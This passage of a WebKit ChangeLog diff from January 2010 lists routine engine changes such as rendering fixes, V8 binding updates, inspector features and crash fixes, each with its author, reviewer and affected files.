+        * bridge/runtime_array.cpp:
+        (JSC::RuntimeArray::getOwnPropertyNames):
+        * bridge/runtime_array.h:
+        * bridge/runtime_object.cpp:
+        (JSC::RuntimeObjectImp::getPropertyNames):
+        (JSC::RuntimeObjectImp::getOwnPropertyNames):
+        * bridge/runtime_object.h:
+
+2010-01-12  Brian Weinstein  <bweinstein@apple.com>
+
+        Reviewed by Dave Hyatt.
+
+        Safari shows an unneeded horizontal scrollbar on many websites.
+        Fixes <rdar://6321041> and <http://webkit.org/b/33555>.
+        
+        If a div has no children, and its height or width are 0, we can ignore
+        it in our calculation of lowest, rightmost, and leftmost positions. This
+        calculation was causing horizontal scrollbars to be drawn when they weren't needed.
+
+        Test: fast/block/positioning/absolute-positioning-no-scrollbar.html
+
+        * rendering/RenderBlock.cpp:
+        (WebCore::RenderBlock::lowestPosition): Added check for no children and width or height 0.
+        (WebCore::RenderBlock::rightmostPosition): Ditto.
+        (WebCore::RenderBlock::leftmostPosition): Ditto.
+
+2010-01-12  Alexander Pavlov  <apavlov@chromium.org>
+
+        Reviewed by Timothy Hatcher.
+
+        Optimize WebInspector.TimelineGrid.prototype.updateDividers()
+
+        DOM element property access and modification are slow and should be done as lazily as possible.
+        https://bugs.webkit.org/show_bug.cgi?id=33536
+
+        * inspector/front-end/TimelineGrid.js:
+        (WebInspector.TimelineGrid.prototype.updateDividers):
+        (WebInspector.TimelineGrid.prototype._setDividerAndBarLeft):
+
+2010-01-12  Beth Dakin  <bdakin@apple.com>
+
+        Reviewed by Sam Weinig.
+
+        Fix for https://bugs.webkit.org/show_bug.cgi?id=33550 REGRESSION: -
+        webkit-svg-shadow with opacity still over-clipped
+
+        We need to call inflateForShadow() on the repaintRect before we 
+        clip for opacity or we will over-clip.
+        * rendering/SVGRenderSupport.cpp:
+        (WebCore::SVGRenderBase::prepareToRenderSVGContent):
+
+2010-01-12  Steve Falkenburg  <sfalken@apple.com>
+
+        Reviewed by Sam Weinig.
+
+        Update all-in-one derived sources for Geolocation.
+
+        * DerivedSources.cpp: Add JSCoordinates.cpp, JSGeolocation.cpp, JSGeoposition.cpp, JSPositionError.cpp
+
+2010-01-12  Nate Chapin  <japhet@chromium.org>
+
+        Reviewed by Dimitri Glazkov.
+
+        Remove static const ints from V8CustomBinding.h
+
+        https://bugs.webkit.org/show_bug.cgi?id=33547
+
+        * bindings/scripts/CodeGeneratorV8.pm: Generate and use custom 
+            internal field indices from lists of custom internal fields.
+        * bindings/v8/NPV8Object.cpp:
+        * bindings/v8/NPV8Object.h:
+        * bindings/v8/V8Binding.cpp:
+        * bindings/v8/V8DOMWindowShell.cpp:
+        * bindings/v8/V8DOMWindowShell.h:
+        * bindings/v8/V8DOMWrapper.cpp: Remove a bunch of now unnecessary
+            manually calls to setInternalFieldCount().
+        * bindings/v8/V8DOMWrapper.h:
+        * bindings/v8/V8Index.h:
+        * bindings/v8/V8IsolatedContext.cpp:
+        * bindings/v8/V8IsolatedContext.h:
+        * bindings/v8/V8NPObject.cpp:
+        * bindings/v8/custom/V8AbstractWorkerCustom.cpp:
+        * bindings/v8/custom/V8CustomBinding.h: Remove the static const ints.
+        * bindings/v8/custom/V8DOMApplicationCacheCustom.cpp:
+        * bindings/v8/custom/V8DOMWindowCustom.cpp:
+        * bindings/v8/custom/V8DocumentCustom.cpp:
+        * bindings/v8/custom/V8HTMLAudioElementConstructor.cpp:
+        * bindings/v8/custom/V8HTMLDocumentCustom.cpp:
+        * bindings/v8/custom/V8HTMLImageElementConstructor.cpp:
+        * bindings/v8/custom/V8HTMLOptionElementConstructor.cpp:
+        * bindings/v8/custom/V8MessageChannelConstructor.cpp:
+        * bindings/v8/custom/V8MessagePortCustom.cpp:
+        * bindings/v8/custom/V8NodeCustom.cpp:
+        * bindings/v8/custom/V8NotificationCenterCustom.cpp:
+        * bindings/v8/custom/V8SVGElementInstanceCustom.cpp:
+        * bindings/v8/custom/V8WebSocketCustom.cpp:
+        * bindings/v8/custom/V8WorkerContextCustom.cpp:
+        * bindings/v8/custom/V8XMLHttpRequestCustom.cpp:
+        * bindings/v8/custom/V8XMLHttpRequestUploadCustom.cpp:
+
+2010-01-12  Darin Fisher  <darin@chromium.org>
+
+        Fixing chromium build bustage.
+
+        * bindings/v8/custom/V8PopStateEventCustom.cpp: Add V8Proxy.h include.
+
+2010-01-12  Darin Fisher  <darin@chromium.org>
+
+        Reviewed by Dimitri Glazkov.
+
+        Add V8 bindings for PopStateEvent.
+        https://bugs.webkit.org/show_bug.cgi?id=33546
+        
+        This is covered by existing tests for PopStateEvent.
+
+        * WebCore.gypi:
+        * bindings/v8/DOMObjectsInclude.h:
+        * bindings/v8/DerivedSourcesAllInOne.cpp:
+        * bindings/v8/V8DOMWrapper.cpp:
+        (WebCore::V8DOMWrapper::convertEventToV8Object):
+        * bindings/v8/V8Index.cpp:
+        * bindings/v8/V8Index.h:
+        * bindings/v8/custom/V8PopStateEventCustom.cpp: Added.
+        (WebCore::V8PopStateEvent::initPopStateEventCallback):
+        (WebCore::V8PopStateEvent::stateAccessorGetter):
+
+2010-01-12  Kelly Norton  <knorton@google.com>
+
+        Reviewed by Timothy Hatcher.
+
+        Adds source length to ParseHTMLRecords in the inspector timeline.
+        https://bugs.webkit.org/show_bug.cgi?id=33548
+
+        Test: inspector/timeline-parse-html.html
+
+        * html/HTMLTokenizer.cpp:
+        (WebCore::HTMLTokenizer::write):
+        * inspector/InspectorTimelineAgent.cpp:
+        (WebCore::InspectorTimelineAgent::willWriteHTML):
+        * inspector/InspectorTimelineAgent.h:
+        * inspector/TimelineRecordFactory.cpp:
+        (WebCore::TimelineRecordFactory::createParseHTMLRecord):
+        * inspector/TimelineRecordFactory.h:
+
+2010-01-12  Jungshik Shin  <jshin@chromium.org>
+
+        Reviewed by Darin Adler
+
+        https://bugs.webkit.org/show_bug.cgi?id=31597
+
+        Make ICU's text breakiterator and string search use Chrome's UI
+        language instead of 'en-US' or the OS UI language.
+
+        As long as the webkit layout tests are run in en-US locale, there'd be 
+        no visible change.
+
+        * platform/text/chromium/TextBreakIteratorInternalICUChromium.cpp:
+        (UILanguage):
+        (WebCore::currentSearchLocaleID):
+        (WebCore::currentTextBreakLocaleID):
+
+2010-01-12  Beth Dakin  <bdakin@apple.com>
+
+        Rubber-stamped by Dave Hyatt.
+
+        This patch changes the name of -webkit-shadow to -webkit-svg-shadow 
+        to avoid giving a custom property an overly-general name.
+        <rdar://problem/7534590>
+
+        * css/CSSComputedStyleDeclaration.cpp:
+        (WebCore::):
+        * css/CSSParser.cpp:
+        (WebCore::CSSParser::parseShadow):
+        * css/SVGCSSComputedStyleDeclaration.cpp:
+        (WebCore::CSSComputedStyleDeclaration::getSVGPropertyCSSValue):
+        * css/SVGCSSParser.cpp:
+        (WebCore::CSSParser::parseSVGValue):
+        * css/SVGCSSPropertyNames.in:
+        * css/SVGCSSStyleSelector.cpp:
+        (WebCore::CSSStyleSelector::applySVGProperty):
+
+2010-01-12  Peter Kasting  <pkasting@google.com>
+
+        Not reviewed, build fix.
+
+        * WebCore.vcproj/WebCore.vcproj:
+
+2010-01-12  Nate Chapin  <japhet@chromium.org>
+
+        Reviewed by Dimitri Glazkov.
+
+        Add a null check in case of an event handler with invalid syntax.
+
+        Should make fast/js/invalid-syntax--for-function.html not crash in
+        Chromium's test shell.
+
+        * bindings/v8/V8LazyEventListener.cpp:
+        (WebCore::V8LazyEventListener::callListenerFunction): Check the listener object before using it.
+
+2010-01-12  Peter Kasting  <pkasting@google.com>
+
+        Reviewed by Dimitri Glazkov.
+
+        Remove XBM support from the open-source image decoders.
+        https://bugs.webkit.org/show_bug.cgi?id=27823
+
+        * GNUmakefile.am:
+        * WebCore.gypi:
+        * WebCore.vcproj/WebCore.vcproj:
+        * WebCoreSources.bkl:
+        * platform/image-decoders/ImageDecoder.cpp:
+        (WebCore::ImageDecoder::create):
+        * platform/image-decoders/xbm: Removed.
+        * platform/image-decoders/xbm/XBMImageDecoder.cpp: Removed.
+        * platform/image-decoders/xbm/XBMImageDecoder.h: Removed.
+
+2010-01-12  Alexey Proskuryakov  <ap@apple.com>
+
+        Reviewed by Darin Adler.
+
+        https://bugs.webkit.org/show_bug.cgi?id=33540
+        Make it possible to build in debug mode with assertions disabled
+
+        * dom/Element.cpp: (WebCore::Element::getURLAttribute):
+        * dom/SelectElement.cpp: (WebCore::SelectElementData::checkListItems):
+        * editing/TextIterator.cpp:
+        * loader/Cache.cpp: (WebCore::Cache::removeFromLRUList):
+        * rendering/RenderArena.cpp: (WebCore::RenderArena::free):
+
+2010-01-12  Eric Carlson  <eric.carlson@apple.com>
+
+        Reviewed by Darin Adler and Simon Fraser.
+
+        rdar://problem/5684062
+        https://bugs.webkit.org/show_bug.cgi?id=23094
+        Flash of white when switching from poster image to video playback
+        
+        https://bugs.webkit.org/show_bug.cgi?id=23140
+        <video> poster should scale like a video frame
+
+        * html/HTMLMediaElement.cpp:
+        (WebCore::HTMLMediaElement::setReadyState): Only call updatePosterImage from one place
+
+        * html/HTMLVideoElement.cpp:
+        (WebCore::HTMLVideoElement::HTMLVideoElement): m_shouldShowPosterImage -> m_shouldDisplayPoster.
+        (WebCore::HTMLVideoElement::createRenderer): Always create a RenderVideo.
+        (WebCore::HTMLVideoElement::attach): Call updatePosterImage before checking to see if we
+            should display the poster image. renderer() is never a RenderImage, don't need to check.
+            m_shouldShowPosterImage -> m_shouldDisplayPoster.
+        (WebCore::HTMLVideoElement::detach): m_shouldShowPosterImage -> m_shouldDisplayPoster.
+        (WebCore::HTMLVideoElement::parseMappedAttribute): Cache poster attribute when it is set since
+            it is checked frequently. m_shouldShowPosterImage -> m_shouldDisplayPoster.
+        (WebCore::HTMLVideoElement::updatePosterImage): Don't bother looking at the network state, 
+            display the poster as long as the attribute is valid and the media engine says it hasn't
+            rendered a video frame. m_shouldShowPosterImage -> m_shouldDisplayPoster.
+        (WebCore::HTMLVideoElement::hasAvailableVideoFrame): New, ask the media engine if a video frame
+            is available to render.
+        * html/HTMLVideoElement.h:
+        (WebCore::HTMLVideoElement::poster):
+        (WebCore::HTMLVideoElement::shouldDisplayPoster):
+
+        * loader/ImageLoader.cpp:
+        (WebCore::ImageLoader::updateRenderer): Call setCachedImage for render video too.
+
+        * manual-tests/video-player.html: Remove bit-rot from manual test so it works again.
+
+        * platform/graphics/MediaPlayer.cpp:
+        (WebCore::MediaPlayer::hasAvailableVideoFrame): New, ask the media engine if a video frame
+            is available to render.
+
+        * platform/graphics/MediaPlayer.h: Prototype for hasAvailableVideoFrame.
+        * platform/graphics/MediaPlayerPrivate.h: Ditto.
+
+        * platform/graphics/mac/MediaPlayerPrivateQTKit.h: Declare hasAvailableVideoFrame, declare
+            all bool variables to aid packing.
+        * platform/graphics/mac/MediaPlayerPrivateQTKit.mm: 
+        (WebCore::MediaPlayerPrivate::MediaPlayerPrivate): Initialize m_videoFrameHasDrawn. Cleanup
+            floating point initializers to match coding guidelines.
+        (WebCore::MediaPlayerPrivate::load): Initialize m_videoFrameHasDrawn.
+        (WebCore::MediaPlayerPrivate::hasAvailableVideoFrame): New.
+        (WebCore::MediaPlayerPrivate::repaint): Set m_videoFrameHasDrawn.
+
+        (WebCore::RenderImage::paintReplaced): Split part out into paint method.
+        (WebCore::RenderImage::paint): New.
+        * rendering/RenderImage.h: Declare paint. Make isWidthSpecified and isHeightSpecified protected
+            instead of private so RenderVideo can use them.
+
+        * rendering/RenderMedia.cpp:
+        (WebCore::RenderMedia::RenderMedia): Inherit from RenderImage, not RenderReplaced
+        (WebCore::RenderMedia::destroy): Ditto.
+        (WebCore::RenderMedia::styleDidChange): Ditto.
+        (WebCore::RenderMedia::layout): Ditto.
+        (WebCore::RenderMedia::lowestPosition): Ditto.
+        (WebCore::RenderMedia::rightmostPosition): Ditto.
+        (WebCore::RenderMedia::leftmostPosition): Ditto.
+        * rendering/RenderMedia.h: Declare isImage and isRenderImage.
+
+        * rendering/RenderVideo.cpp:
+        (WebCore::RenderVideo::intrinsicSizeChanged): New, call RenderVideo::intrinsicSizeChanged
+            when displaying a poster so it is sized correctly.
+        (WebCore::RenderVideo::imageChanged): Override so we can cache the image's intrisic size and
+        use it when we also know the movie's intrinsic size but still need to draw the poster.
+        (WebCore::RenderVideo::videoBox): Use the poster's intrinsic size when drawing the poster,
+        use the movie's intrinsic size when drawing frames.
+        (WebCore::RenderVideo::paintReplaced): Call RenderImage::paint when drawing the poster.
+        (WebCore::RenderVideo::videoElement): New.
+        (WebCore::RenderVideo::updatePlayer):
+        * rendering/RenderVideo.h:
+        (WebCore::RenderVideo::minimumReplacedHeight): Added.
+
+2010-01-12  Tony Chang  <tony@chromium.org>
+
+        Reviewed by Maciej Stachowiak.
+
+        Fix a crash in Chromium when receiving multipart/x-mixed-replace data.
+        If we stop a multipart load after ResourceLoader::didReceiveResponse
+        but before ResourceLoader::didReceiveData, we have a NULL document
+        loader because it has been moved back to the provisional state.  New
+        loads that happen after this will dereference the NULL document
+        loader.
+
+        Work around this by moving the provisional document loader back as
+        the document loader when the request is stopped.
+
+        https://bugs.webkit.org/show_bug.cgi?id=31446
+
+        Test: http/tests/multipart/multipart-wait-before-boundary.html
+
+        * loader/FrameLoader.cpp:
+        (WebCore::FrameLoader::checkLoadCompleteForThisFrame):
+
+2010-01-12  Enrica Casucci  <enrica@apple.com>
+
+        Reviewed by Darin Adler.
+
+        WebKit returns incorrect match count when first string match is on an element with user-select-none style
+        https://bugs.webkit.org/show_bug.cgi?id=33508
+        <rdar://problem/7482143>
+
+        If we use VisiblePosition to calculate the start of the new search range,
+        we skip all the nodes with user-select-none style, producing an incorrect
+        match count.
+        
+        No new tests: there are no API's available to Javascript to verify the
+        number of matches found.
+
+        * page/Frame.cpp:
+        (WebCore::Frame::markAllMatchesForText): Changed to use the end of the previous
+        result range as the start of the new search range.
+
+2010-01-12  Mikhail Naganov  <mnaganov@chromium.org>
+
+        Reviewed by Timothy Hatcher.
+
+        Changed ".sidebar" style to allow v-scroll to appear in
+        "Profiles" panel sidebar.
+
+        https://bugs.webkit.org/show_bug.cgi?id=33470
+
+        No new tests -- no code changed.
+
+        * inspector/front-end/inspector.css:
+
+2010-01-12  Adam Roben  <aroben@apple.com>
+
+        Windows accelerated compositing build fix after r53110
+
+        * plugins/PluginWidget.h:
+        (WebCore::PluginWidget::platformLayer): Define platformLayer() for
+        non-Mac platforms that have accelerated compositing turned on. It
+        would probably be better to make PluginWidget not be used at all on
+        non-Mac platforms, but this fix is much simpler.
+
+2010-01-12  Yury Semikhatsky  <yurys@chromium.org>
+
+        Reviewed by Pavel Feldman.
+
+        Support injection of inspector scripts into the inspected context.
+
+        https://bugs.webkit.org/show_bug.cgi?id=33523
+
+        * bindings/v8/custom/V8InjectedScriptHostCustom.cpp:
+        (WebCore::WeakReferenceCallback):
+        (WebCore::createInjectedScriptHostV8Wrapper):
+        (WebCore::createInjectedScript):
+        (WebCore::InjectedScriptHost::injectedScriptFor):
+
+2010-01-12  Ben Murdoch  <benm@google.com>
+
+        Reviewed by Darin Adler.
+
+        Form Reset : Press Back Button and Reset , TextareaElemnt is not set to Default Value
+        https://bugs.webkit.org/show_bug.cgi?id=31539
+
+        Added manual test: manual-tests/textarea-reset-default-value.html.
+
+        * html/HTMLTextAreaElement.cpp:
+        (WebCore::HTMLTextAreaElement::restoreFormControlState): set the value, rather than default value of a text area when restoring its state. This allows resetting a form with a textarea to work correctly after its state has been restored.
+        * manual-tests/resources/textarea-form-back-on-submit.html: Added.
+        * manual-tests/textarea-reset-default-value.html: Added.
+
+2010-01-12  Simon Hausmann  <simon.hausmann@nokia.com>
+
+        Reviewed by Holger Freyther.
+
+        [Qt] WebCore::Path allocates QPainterPath unnecessarily on the heap
+        https://bugs.webkit.org/show_bug.cgi?id=33466
+
+        WebCore::Path is a pointer to a PlatformPath. In case of Qt that's a
+        QPainterPath, which itself is a pointer to the elements (QVector).
+        That creates unecessary allocations in PathQt.cpp.
+
+        Replaced the "PlatformPath* m_path;" with a PlatformPathPtr, which
+        is a plain QPainterPath.
+
+        * platform/graphics/Path.h:
+        (WebCore::Path::platformPath):
+        * platform/graphics/qt/GraphicsContextQt.cpp:
+        (WebCore::drawFilledShadowPath):
+        (WebCore::GraphicsContext::fillPath):
+        (WebCore::GraphicsContext::fillRoundedRect):
+        (WebCore::GraphicsContext::addPath):
+        (WebCore::GraphicsContext::clip):
+        (WebCore::GraphicsContext::clipOut):
+        * platform/graphics/qt/PathQt.cpp:
+        (WebCore::Path::~Path):
+        (WebCore::Path::operator=):
+        (WebCore::Path::contains):
+        (WebCore::Path::strokeContains):
+        (WebCore::Path::translate):
+        (WebCore::Path::boundingRect):
+        (WebCore::Path::strokeBoundingRect):
+        (WebCore::Path::moveTo):
+        (WebCore::Path::addLineTo):
+        (WebCore::Path::addQuadCurveTo):
+        (WebCore::Path::addBezierCurveTo):
+        (WebCore::Path::addArcTo):
+        (WebCore::Path::closeSubpath):
+        (WebCore::Path::addArc):
+        (WebCore::Path::addRect):
+        (WebCore::Path::addEllipse):
+        (WebCore::Path::clear):
+        (WebCore::Path::isEmpty):
+        (WebCore::Path::debugString):
+        (WebCore::Path::apply):
+        (WebCore::Path::transform):
+
+2010-01-12  Jakub Wieczorek  <faw217@gmail.com>
+
+        Reviewed by Adam Barth.
+
+        [Qt] XSL stylesheets can load documents from a different origin
+
+        https://bugs.webkit.org/show_bug.cgi?id=33423
+
+        * xml/XSLTProcessorQt.cpp:
+        (WebCore::XSLTUriResolver::XSLTUriResolver):
+        (WebCore::XSLTUriResolver::resolve):
+        (WebCore::XSLTProcessor::transformToString):
+
+2010-01-12  Joanmarie Diggs  <joanmarie.diggs@gmail.com>
+
+        Reviewed by Gustavo Noronha Silva.
+
+        https://bugs.webkit.org/show_bug.cgi?id=30883
+        [Gtk] Implement AtkText for HTML elements which contain text
+
+        Tweak/correction: Eliminate a needless variable.
+
+        * accessibility/gtk/AccessibilityObjectWrapperAtk.cpp:
+        (webkit_accessible_text_get_caret_offset):
+
+2010-01-12  Yury Semikhatsky  <yurys@chromium.org>
+
+        Reviewed by Geoffrey Garen.
+
+        Allow creating injected script for the inspected script state. The InjectedScript is
+        cached on the inspected ExecState global object and will be garbage collected when the
+        object is collected. Each InjectedScript object is assigned unique id.
+
+        https://bugs.webkit.org/show_bug.cgi?id=33469
+
+        * bindings/js/JSDOMGlobalObject.cpp:
+        (WebCore::JSDOMGlobalObject::markChildren):
+        (WebCore::JSDOMGlobalObject::setInjectedScript):
+        (WebCore::JSDOMGlobalObject::injectedScript):
+        * bindings/js/JSDOMGlobalObject.h: InjectedScript is cached on the global object as a
+        field that is not visible from the inspected code. This InjectedScript should be alive as long as
+        the global object is alive and should be accessible from Web Inspector's native code.
+        (WebCore::JSDOMGlobalObject::JSDOMGlobalObjectData::JSDOMGlobalObjectData):
+        * bindings/js/JSInjectedScriptHostCustom.cpp:
+        (WebCore::createInjectedScript): Creates injected script using the lexical global object of the
+        inspected ScriptState. Reference to the object is stored on the global DOM object.
+        (WebCore::InjectedScriptHost::injectedScriptFor):
+        * inspector/InjectedScriptHost.cpp:
+        (WebCore::InjectedScriptHost::InjectedScriptHost):
+        (WebCore::InjectedScriptHost::injectedScriptForId):
+        (WebCore::InjectedScriptHost::discardInjectedScripts): This method is expected to be called when the
+        the InjectedScript are no longer needed. In particular, this should be called before frame navigation. 
+        * inspector/InjectedScriptHost.h:
+        (WebCore::InjectedScriptHost::setInjectedScriptSource): This allows to provide injected script source.
+        The source may be loaded in a platform specific way.
+
+2010-01-11  Darin Adler  <darin@apple.com>
+
+        Reviewed by Dan Bernstein.
+
+        Fix handling of unusual kana sequences in search
+        https://bugs.webkit.org/show_bug.cgi?id=33506
+
+        * editing/TextIterator.cpp:
+        (WebCore::composedVoicedSoundMark): Removed unnnecessary case for a
+        non-kana-letter character. This function only works for kana letters.
+        (WebCore::SearchBuffer::isBadMatch): Fixed voiced sound mark code to
+        properly handle cases where one character has a shorter list of
+        combining voiced sound marks than the other.
+
+2010-01-11  Victor Wang  <victorw@chromium.org>
+
+        Reviewed by Dimitri Glazkov.
+
+        Clear m_acceptedIndexOnAbandon flag when user accepts the selected index.
+
+        https://bugs.webkit.org/show_bug.cgi?id=33499
+
+        TEST: manual-tests/chromium/onchange-reload-popup.html
+        It should be covered by the above test. The current
+        test shell does not support sending keyboard events to popup
+        list so use manual test for it.
+
+        * platform/chromium/PopupMenuChromium.cpp:
+        (WebCore::PopupListBox::acceptIndex):
+
+2010-01-11  Gustavo Noronha Silva  <gns@gnome.org>
+
+        Reviewed by Eric Seidel.
+
+        [GTK] Debug bots crashing in plugins/iframe-shims.html
+        https://bugs.webkit.org/show_bug.cgi?id=33472
+
+        Call computeOffsetInContainerNode() instead of
+        offsetInContainerNode(), since we are not sure this is always
+        parent-anchored.
+
+        plugins/iframe-shims.html no longer ASSERTS
+
+        * accessibility/gtk/AccessibilityObjectWrapperAtk.cpp:
+        (objectAndOffsetUnignored):
+
+2010-01-11  Simon Fraser  <simon.fraser@apple.com>
+
+        Reviewed by Kevin Decker.
+
+        https://bugs.webkit.org/show_bug.cgi?id=33455
+        Allows plugins to participate in accelerated compositing
+
+        For plugins using the CoreAnimation rendering mode, host their CALayers in the
+        accelerated compositing layer tree.
+        
+        This requires making normal flow RenderLayers for RenderEmbeddedObjects when they represent
+        a plugin using this mode.
+        
+        * WebCore.base.exp: Export Node::setNeedsStyleRecalc() for use by WebKit.
+        * WebCore.xcodeproj/project.pbxproj: Re-order files for sorting.
+
+        * rendering/RenderEmbeddedObject.h:
+        * rendering/RenderEmbeddedObject.cpp:
+        (WebCore::RenderEmbeddedObject::requiresLayer): Make a layer if the plugin is using
+        accelerated compositing mode.
+        (WebCore::RenderEmbeddedObject::allowsAcceleratedCompositing): Asks whether the plugin has
+        a layer, via PluginWidget.
+
+        * rendering/RenderLayer.cpp:
+        (WebCore::RenderLayer::shouldBeNormalFlowOnly):
+        (WebCore::RenderLayer::isSelfPaintingLayer):
+        RenderEmbeddedObjects should be normal flow layers, and self-painting layers.
+        
+        * rendering/RenderLayerBacking.cpp:
+        (WebCore::RenderLayerBacking::updateGraphicsLayerConfiguration):
+        Parent the plugin's layer in the GraphicsLayer when updating the layer configuration.
+        
+        * rendering/RenderLayerCompositor.h:
+        * rendering/RenderLayerCompositor.cpp:
+        (WebCore::RenderLayerCompositor::requiresCompositingLayer):
+        (WebCore::RenderLayerCompositor::requiresCompositingForPlugin):
+        RenderEmbeddedObjects that allow accelerated compositing trip accelerated compositing mode
+        for the page.
+
+2010-01-11  Andreas Kling  <andreas.kling@nokia.com>
+
+        Reviewed by Darin Adler.
+
+        Fixed an uninitialized PluginView member (m_mode) which wasn't
+        set when constructed with a null PluginPackage*
+
+        https://bugs.webkit.org/show_bug.cgi?id=33468
+
+        * plugins/PluginView.cpp:
+        (WebCore::PluginView::PluginView):
+
+2010-01-11  Dirk Schulze  <krit@webkit.org>
+
+        Reviewed by Nikolas Zimmermann.
+
+        SVG radialGradient example radial-gradient-with-outstanding-focalPoint.svg fails
+        https://bugs.webkit.org/show_bug.cgi?id=32201
+
+        This patch moves every focalPoint that lies outside the circle defined by the radial
+        gradients central point and its radius to stay inside this circle, as demanded by the
+        SVG 1.1 specification.
+        We use r * 0.99 as maximum radius for the aforementioned circle, when determining where
+        the focalPoint is lying, to achieve compatibility with Firefox.
+
+        * svg/SVGRadialGradientElement.cpp:
+        (WebCore::SVGRadialGradientElement::buildGradient):
+
+2010-01-11  Alexey Proskuryakov  <ap@apple.com>
+
+        Reviewed by Oliver Hunt.
+
+        https://bugs.webkit.org/show_bug.cgi?id=33493
+        Log redirect details to Network channel
+
+        * platform/network/mac/ResourceHandleMac.mm:
+        (-[WebCoreResourceHandleAsDelegate connection:willSendRequest:redirectResponse:]):
+        Log response code and Location header field value. Also, removed a redundant null check.
+
+2010-01-11  Beth Dakin  <bdakin@apple.com>
+
+        Reviewed by Oliver Hunt.
+
+        Fix for https://bugs.webkit.org/show_bug.cgi?id=33491 REGRESSION: 
+        Many SVG -webkit-shadow tests are currently failing (in the pixel 
+        tests)
+        -and-
+        <rdar://problem/7501200>
+
+        The real fix here is to call inflateForShadow() on the repaintRect 
+        in prepareToRenderSVGContent(). But in order to do that, I had to 
+        move inflateForShadow() to a different class since functions in 
+        SVGRenderBase cannot call each other. inflateForShadow() now exists 
+        in SVGRenderStyle which I think makes some sense because a similar 
+        function that returns a box shadow's extent exists on RenderStyle.
+
+        Now call inflateForShadow() through the SVGRenderStyle.
+        * rendering/RenderForeignObject.cpp:
+        (WebCore::RenderForeignObject::computeRectForRepaint):
+        * rendering/RenderSVGImage.cpp:
+        (WebCore::RenderSVGImage::computeRectForRepaint):
+        * rendering/RenderSVGModelObject.cpp:
+        (WebCore::RenderSVGModelObject::computeRectForRepaint):
+        * rendering/RenderSVGRoot.cpp:
+        (WebCore::RenderSVGRoot::computeRectForRepaint):
+        * rendering/RenderSVGText.cpp:
+        (WebCore::RenderSVGText::computeRectForRepaint):
+
+        No longer implement inflateForShadow() here.
+        * rendering/SVGRenderSupport.cpp:
+        (WebCore::SVGRenderBase::prepareToRenderSVGContent): Call new 
+        inflateForShadow() through the SVGRenderStyle
+        * rendering/SVGRenderSupport.h:
+
+        Implementation of inflateForShadow() now lives here.
+        * rendering/style/SVGRenderStyle.cpp:
+        (WebCore::getSVGShadowExtent):
+        (WebCore::SVGRenderStyle::inflateForShadow):
+        * rendering/style/SVGRenderStyle.h:
+
+2010-01-11  Alexander Pavlov  <apavlov@chromium.org>
+
+        Reviewed by Pavel Feldman.
+
+        Rewrite relative URLs in the ElementsTreeOutline to make them navigable
+
+        Targets for "src" and "href" attribute values in the Elements outline tree
+        are rewritten to full URLs whenever possible.
+        https://bugs.webkit.org/show_bug.cgi?id=33024
+
+        Test: inspector/elements-panel-rewrite-href.html
+
+        * inspector/front-end/ElementsTreeOutline.js:
+        (WebInspector.ElementsTreeElement.prototype._rewriteAttrHref):
+        (WebInspector.ElementsTreeElement.prototype._nodeTitleInfo):
+        * inspector/front-end/inspector.js:
+
+2010-01-11  Nikolas Zimmermann  <nzimmermann@rim.com>
+
+        Not reviewed. Attempt to fix windows builds, by removing the no-longer existant JSSVGPointListCustom.cpp from JSBindingsAllInOne.cpp.
+
+        * bindings/js/JSBindingsAllInOne.cpp:
+
+2010-01-11  Nikolas Zimmermann  <nzimmermann@rim.com>
+
+        Reviewed by Adam Roben & Dirk Schulze.
+
+        svg <text> fails to update when setting x/y
+        https://bugs.webkit.org/show_bug.cgi?id=22384
+
+        Introduce JSSVGPODListCustom, refactoring the existing custom code for SVG POD type lists.
+        (Currently SVGTransformList/SVGPointList was handled correctly, and SVGLengthList/SVGNumberList not)
+
+        Remove the need for custom JSSVG*List.cpp implementations, but instead tweak CodeGeneratorJS.pm,
+        to call into the new JSSVGPODListCustom methods. Fixes dynamic updates of the SVGTextElement
+        'rotate' & 'x'/'y' SVG DOM properties.
+
+        Tests: svg/custom/text-xy-updates-SVGList.xhtml
+               svg/dynamic-updates/SVGTextElement-svgdom-rotate-prop.html
+  
+        * Android.jscbindings.mk: Remove old files from build, add the new header.
+        * GNUmakefile.am: Ditto.
+        * WebCore.gypi: Ditto.
+        * WebCore.pro: Ditto.
+        * WebCore.vcproj/WebCore.vcproj: Ditto.
+        * WebCore.xcodeproj/project.pbxproj: Ditto.
+        * bindings/js/JSSVGPODListCustom.h: Copied from bindings/js/JSSVGTransformListCustom.cpp. Refactored code to be sharable between all JSSVG*List classes.
+        (WebCore::JSSVGPODListCustom::finishGetter):
+        (WebCore::JSSVGPODListCustom::finishSetter):
+        (WebCore::JSSVGPODListCustom::finishSetterReadOnlyResult):
+        (WebCore::JSSVGPODListCustom::clear):
+        (WebCore::JSSVGPODListCustom::initialize):
+        (WebCore::JSSVGPODListCustom::getItem):
+        (WebCore::JSSVGPODListCustom::insertItemBefore):
+        (WebCore::JSSVGPODListCustom::replaceItem):
+        (WebCore::JSSVGPODListCustom::removeItem):
+        (WebCore::JSSVGPODListCustom::appendItem):
+        * bindings/js/JSSVGPointListCustom.cpp: Removed.
+        * bindings/js/JSSVGTransformListCustom.cpp: Removed.
+        * bindings/scripts/CodeGeneratorJS.pm: Forward any SVGList call on POD list types to the new JSSVGPODListCustom.
+        * svg/SVGNumberList.cpp: Make SVGNumberList a SVGPODList, instead of a SVGList, to make dynamic updates work.
+        (WebCore::SVGNumberList::SVGNumberList):
+        * svg/SVGNumberList.h:
+        * svg/SVGPointList.idl: Remove JSCCustom markers everywhere.
+        * svg/SVGTransformList.idl: Ditto.
+
+2010-01-08  Enrica Casucci  <enrica@apple.com>
+
+        Reviewed by Darin Adler.
+
+        Cannot focus on an empty editable span in a non editable div.
+        https://bugs.webkit.org/show_bug.cgi?id=33411
+        <rdar://problem/5982901>
+
+        We now allow to set the focus inside an empty inline element if it is the only
+        editable element inside non-editable content.
+
+        * dom/Position.cpp:
+        (WebCore::Position::isCandidate): Extended to allow positions in inline elements when
+        at the border between editable and non editable content.
+        (WebCore::Position::getInlineBoxAndOffset): Modified to be able to calculate the caret
+        position inside an empty inline.
+        * editing/DeleteSelectionCommand.cpp:
+        (WebCore::DeleteSelectionCommand::mergeParagraphs): When merging, we don't always find a break
+        element, since now an editable inline is a VisiblePosition if it is at editability boundary.
+        * editing/VisibleSelection.h: Updated comment on the use of Position member variables
+        instead of VisiblePosition.
+        * page/Frame.cpp:
+        (WebCore::Frame::selectionLayoutChanged): Changed to avoid multiple calls to upstream and
+        downstream on the same position.
+
+2010-01-06  Dimitri Glazkov  <dglazkov@chromium.org>
+
+        Reviewed by Nikolas Zimmermann.
+
